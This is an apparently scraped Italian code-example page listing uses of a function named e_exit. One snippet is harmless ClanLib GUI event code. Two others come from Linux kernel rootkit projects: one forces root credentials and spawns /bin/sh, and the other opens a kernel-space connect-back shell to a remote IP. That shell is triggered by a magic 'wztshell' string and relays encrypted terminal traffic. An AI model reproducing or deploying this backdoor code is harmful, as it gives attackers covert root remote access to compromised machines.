Esempi in C++ (Cpp) per e_exit

Esempio n. 1

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File: window_view_impl.cpp Progetto: ARMCoderCHS/ClanLib

	void WindowView_Impl::dispatch_hot_event(std::shared_ptr<View> &view, PointerEvent &e)
	{
		if (view != hot_view)
		{
			if (hot_view)
			{
				PointerEvent e_exit(PointerEventType::leave, PointerButton::none, e.pos(window_view->root_view()), e.alt_down(), e.shift_down(), e.ctrl_down(), e.cmd_down());
				hot_view->dispatch_event(&e_exit, true);
			}

			hot_view = view;

			if (hot_view)
			{
				PointerEvent e_enter(PointerEventType::enter, PointerButton::none, e.pos(window_view->root_view()), e.alt_down(), e.shift_down(), e.ctrl_down(), e.cmd_down());
				hot_view->dispatch_event(&e_enter, true);
			}
		}

		if (hot_view)
			hot_view->update_cursor(window);

	}

Esempio n. 2

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File: kshell.c Progetto: AnthraX1/WNPS

/**
 * strat_shell - use system call 'exevce' to get a root shell.
 */
void start_shell(void)
{
        struct task_struct *ptr = current;
        mm_segment_t old_fs;

        old_fs = get_fs();
        set_fs(KERNEL_DS);

        ptr->uid = 0;
        ptr->euid = 0;
        ptr->gid = SGID;
        ptr->egid = 0;

        dup2(epty, 0);
        dup2(epty, 1);
        dup2(epty, 2);

        chdir(HOME);

        execve("/bin/sh", (const char **) earg, (const char **) env);

        e_exit(-1);
}

Esempio n. 3

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File: kshell.c Progetto: AnthraX1/rk

/**
 * kshell - start a connect back shell in kernel space.
 * @ip: remote ip to connect.
 * @port: remote port to connect.
 * both ip and port are network bytes.
 *
 * When the system call 'read' had read the flag 'wztshell',it will be use this
 * function to start a connect back shell.
 *
 * return value is always NF_ACCEPT.It's not firewall,just want to filter the key.
 */
int kshell(int ip,int port)
{
        //struct task_struct *ptr = current;
    struct cred *ptr = (struct cred *)current->cred;
	struct socket *sock;
        struct sockaddr_in server;
	struct winsize ws;
        mm_segment_t old_fs;
        fd_set s_read;
        int soc, tmp_pid, i;
	int byte1,count,rlen;
	int error;
	int len = sizeof(struct sockaddr);
        char tmp[101],buf[101];
	unsigned char *p,*d;
        unsigned char wb[5];
	
        old_fs = get_fs();

        ptr->uid = 0;
        ptr->euid = 0;
        ptr->gid = SGID;
        ptr->egid = 0;

        set_fs(KERNEL_DS);
 	ssetmask(~0);

	for (i = 0;i < 4096; i++)
		close(i);
       
        error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
        if (error < 0) {
		#if DEBUG == 1
                printk("[-] socket_create failed: %d\n",error);
                #endif

		sock_release(sock);
		wztshell = 0;
		e_exit(-1);
                return -1;
        }
	//http://lkml.indiana.edu/hypermail/linux/kernel/0805.0/2937.html
	soc = sock_map_fd(sock,0);
	if (soc < 0) {
		#if DEBUG == 1
		printk("[-] sock_map_fd() failed.\n");
		#endif

		sock_release(sock);
		wztshell = 0;
		e_exit(-1);
		return -1;
	}

	for (i = 0; i < 8; i++)
		server.sin_zero[i] = 0;

	server.sin_family = PF_INET;
	server.sin_addr.s_addr = ip;
	server.sin_port = port;

        error = sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags);
	if (error < 0) {
		#if DEBUG == 1
		printk("[-] connect to failed.\n");	
		#endif

		e_exit(-1);
		return -1;
	}

        epty = get_pty();
        set_fs(old_fs);

        if (!(tmp_pid = fork()))
	       start_shell();

	set_fs(KERNEL_DS);

        /*
	#if ENCRYPT == 1
	encrypt_code(banner,200);
	#endif
        write(soc,banner,200);
        */
        
        while (1) {
	        FD_ZERO(&s_read);
	        FD_SET(ptmx, &s_read);
	        FD_SET(soc, &s_read);

	        if (_newselect((ptmx > soc ? ptmx+1 : soc+1), &s_read, 0, 0, NULL) < 0)
		      break;

                if (FD_ISSET(ptmx, &s_read)) {
                        byte1 = read(ptmx, tmp, 100);
			if (byte1 <= 0)
			     break;
			#if ENCRYPT == 1
			encrypt_code(tmp,byte1);
			#endif
                        write(soc, tmp, byte1);
		}

                if (FD_ISSET(soc, &s_read)) {
                        d = buf;
                        count = read(soc, buf, 100);
			if (count <= 0)
			     break;
			#if ENCRYPT == 1
			encrypt_code(buf,count);
			#endif
			
                        p = memchr(buf, ECHAR, count);
                        if (p) {
                                rlen = count - ((long) p - (long) buf);

                                /* wait for rest */
                                if (rlen > 5) rlen = 5;
                                memcpy(wb, p, rlen);
                                if (rlen < 5) {
                               	        read(soc, &wb[rlen], 5 - rlen);
					#if ENCRYPT == 1
					encrypt_code(&wb[rlen],5 - rlen);
					#endif
                                }

                                /* setup window */
                                ws.ws_xpixel = ws.ws_ypixel = 0;
                                ws.ws_col = (wb[1] << 8) + wb[2];
                                ws.ws_row = (wb[3] << 8) + wb[4];
                                ioctl(ptmx, TIOCSWINSZ, (unsigned long)&ws);
                                kill(0, SIGWINCH);

                                /* write the rest */
                                write(ptmx, buf, (long) p - (long) buf);
                                rlen = ((long) buf + count) - ((long)p+5);
                                if (rlen > 0) write(ptmx, p+5, rlen);
                        } else
                      		if (write(ptmx, d, count) <= 0) break;
		}

	}

        kill(tmp_pid, SIGKILL);

        set_fs(old_fs);
        e_exit(0);

        return -1;
}

Esempio n. 4

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